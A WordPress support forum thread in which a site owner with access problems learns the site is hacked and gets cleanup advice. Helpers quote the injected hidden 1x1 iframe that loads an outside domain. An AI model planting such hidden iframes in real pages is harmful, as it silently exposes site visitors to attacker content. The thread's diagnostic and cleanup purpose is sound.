Several people having problems accessing my website.

You have a virus on your site.

See:
https://codex.www.ads-software.com/FAQ_My_site_was_hacked
https://www.ads-software.com/support/topic/268083#post-1065779
https://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
https://ottopress.com/2009/hacked-wordpress-backdoors/

More than likely from this <iframe src=”https://szvjlgsufq.co.tv/?go=1&#8243; width=”1″ height=”1″></iframe> which loads before anything.

Looks like a WordPress exploit has found its way into your site. Make sure you’re running the latest version of WordPress as this is was a common issue with WordPress a few versions ago.

If you have access to PHPMyAdmin, I suggest searching for the above iframe to see if you can find anything malicious. It’ll be in one of your posts’ content somewhere.

They can also get in via rogue advertisements as well, which happened to me once upon a time a long time ago. Not sure how common this type of thing is now.

I had a similar issue a while back and there are numerous articles to remove these types of exploits out there. Esmi posted some good links, read them all.

Thanks everybody. I’m going to start by changing my passwords and updating to the latest version of WordPress. Then move on from there.

Updating to the latest version of WordPress got rid of the virus, and I’m attempting to download the latest back-up to save it on my hard drive. The problem now is that the back-up won’t unzip. Does that have something to do with the new version of WordPress? I never had a problem unarchiving zip files before.

The latest version should unzip just like normal.